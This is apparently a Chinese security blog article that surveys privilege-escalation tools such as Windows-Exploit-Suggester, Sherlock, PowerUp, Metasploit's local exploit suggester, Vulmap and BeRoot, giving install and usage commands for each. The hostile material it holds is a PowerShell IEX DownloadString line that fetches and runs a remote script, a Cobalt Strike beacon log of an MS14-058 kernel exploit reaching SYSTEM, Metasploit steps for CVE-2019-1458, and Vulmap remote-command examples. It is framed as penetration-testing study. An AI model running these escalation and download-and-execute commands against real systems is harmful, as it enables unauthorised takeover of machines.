本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
内容速览
一、使用Windows-Exploit-Suggester解析systeminfo
Windows-Exploit-Suggester是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,用python开发而成,通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
使用python2 的pip来安装xlrd包 命令:
python2 -m pip install xlrd==1.2.0
安装的xlrd版本必须为1.2.0版本,否则使用时会报错,原因是:
最近xlrd更新到了2.0.1版本,只支持.xls文件。
所以pandas.read_excel(‘xxx.xlsx’)会报错。
python2 windows-exploit-suggester.py --update
成功后会生成一个xls表格文件
systeminfo > systeminfo_win10.txt
在对应的靶机上运行该命令把靶机安装不到情况写入systeminfo_win10.txt文件中
python2 windows-exploit-suggester.py --database 2023-03-07-mssb.xls --systeminfo systeminfo_win10.txt
Linux_Exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具
https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
Sherlock是一个在Windows下用于本地提权的PowerShell脚本。
目前包含了以下漏洞:
MS10-015 : User Mode to Ring (KiTrap0D)
MS10-092 : Task Scheduler
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
MS13-081 : TrackPopupMenuEx Win32k NULL Page
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow
MS16-016 : ‘mrxdav.sys’ WebDAV
MS16-032 : Secondary Logon Handle
https://github.com/rasta-mouse/Sherlock
本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns
Appears Vulnerable就是存在漏洞
elevate ms14-058 smb
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta
beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes
beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[+] host called home, sent: 20 bytes
[+] received output:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...
[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻击机IP> msf> set SESSION
msf> run
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。 利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1,再执行powershell Invoke-AllChecks命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
执行以下命令:将 ps1 文件上传到目标主机,并执行所有弱点检查。
powershell-import PowerUp.ps1
powershell invoke-allchecks
1、如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。 这时为了复现成功可以来到靶机下,以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。 如果是真实环境执行不了那就只能换工具了。 2、在运行Invoke-AllChecks后,便会列出当前系统中可被提权的弱点之处,之后再执行检查结果中AbuseFunction下的命令便能开始提权操作了。
AccessChk是微软提供的一款安全检查工具,是Sysintenals集合中的一款工具,使用它可以对Windows系统中的一些系统文件、服务、注册表等进行管理和维护排查等功能,可以很直观清晰的发现系统资源存在的缺陷,对其进行提权等,所以往往会被攻击者利用。
英文版本:
http://technet.microsoft.com/en-us/sysinternals/bb664922
中文版本:
http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
-c Name是服务名称,如spooler
-d 仅处理目录,或最高级的
-k Name是注册表项
-n 仅显示没有访问权限的对象
-p Name是进程或进程PID,例如svchost.exe
-r 仅显示具有读取访问权限的对象
-s 递归
-v 显示详细信息
-w 仅显示具有写入访问权限的对象
查看所有用户在d盘dir路径的子路径的权限
accesschk "d:\dir"
查看Administrator用户在d盘dir路径的子路径的权限
accesschk "Administrator "d:\dir"
查看Administrators组对所有服务的权限
accesschk Administrators -c *
查看Guest用户对hklm\software注册表的权限
accesschk -k Guest hklm\software
查看User用户对全局对象的权限
accesschk -ou User
https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk
查找主机上具有的CVE,查找具有公开EXP的CVE的Python脚本
WindowsVulnScan是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免database is locked的错误,采用md5哈希算法确保数据不重复插入。 本工具查找是否有公开exp的网站为shodan,该网站限制网络发包的速度,因而采用了单线程的方式,且耗时较长。
https://github.com/chroblert/WindowsVulnScan
可选参数:
-h, --help show this help message and exit
-u, --update-cve 更新CVEKB数据
-U, --update-exp 更新CVEEXP数据
-m MODE, --mode MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更新之前未成功更新的
-C, --check-EXP 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME
搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION
搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE ps1脚本运行后产生的.json文件
1. 首先运行powershell脚本KBCollect.ps收集一些信息
.\KBCollect.ps1
2. 将运行后产生的KB.json文件移动到cve-check.py所在的目录
3. 安装一些python3模块
python3 -m pip install requirements.txt
4. 运行cve-check.py -u创建CVEKB数据库
5. 运行cve-check.py -U更新CVEKB数据库中的hasPOC字段
cve-check.py -u
此处可以使用-m选择更新模式。
-m All:更新所有
-m Empty:只更新hasPOC字段为空的
-m Error:只更新hasPOC字段为Error的
6. 运行cve-check.py -C -f KB.json查看具有公开EXP的CVE,如下:
cve-check.py -C -f KB.json
7. 若使用脚本扫描到的系统名称和版本不准确,可以使用-n,-N进行指定
特征。该工具的唯一功能是让您能够从终端中搜索gtfobins和lolbas。 GTFOBins:Linux命令提权辅助查询
https://gtfobins.github.io/
LOLBAS:Windows命令提权辅助查询
https://lolbas-project.github.io/
https://github.com/mzfr/gtfo
https://github.com/mzfr/gtfo
Vulmap是一款漏洞扫描工具, 可对Web容器、Web服务器、Web中间件以及CMS等Web程序进行漏洞扫描, 并且具备漏洞利用功能。 相关测试人员可以使用vulmap检测目标是否存在特定漏洞, 并且可以使用漏洞利用功能验证漏洞是否真实存在。
https://github.com/vulmon/Vulmap
安装依赖:
pip3 install -r requirements.txt
测试所有漏洞poc
python3 vulmap.py -u http://testphp.vulnweb.com
RCE漏洞使用id命令
python3 vulmap.py -u http://example.com -c "id"
指定web容器 -a参数
python3 vulmap.py -u http://example.com -a struts2
指定模式 -m参数
python3 vulmap.py -u http://example.com -m poc -a struts2
指定漏洞 -v参数
python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729
批量扫描URL -f参数
python3 vulmap.py -f scan_list.txt
导出扫描结果 -o参数
python3 vulmap.py -u http://example.com -o result.txt
详细使用可参考:
https://blog.csdn.net/qq_45924653/article/details/109022892
BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法。其二进制编译地址为:
https://github.com/AlessandroZ/BeRoot/releases
它将作为后开发模块被添加到pupy(Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT远程管理工具和后开发工具,主要用python编写)项目中(因此它将在内存中执行,而不会在硬盘中执行)。 需要注意的是,这款工具只能用来检测,而无法直接利用目标系统中存在的漏洞。但是,如果它发现了错误配置,它可以通过模版来利用这些漏洞。模版文件位于templates/service目录下,如果项目提供的模版文件无法运行,我们也可以根据目标系统的情况手动创建一个模版文件。
https://github.com/AlessandroZ/BeRoot
https://www.cnblogs.com/backlion/p/7325144.html
极光无限出品的安全扫描仪,在提权方面,基于其强大的安全检测能力,能够给出专业的修复建议,有效验证和加固网络资产漏洞。 查询地址:
https://detect.secwx.com/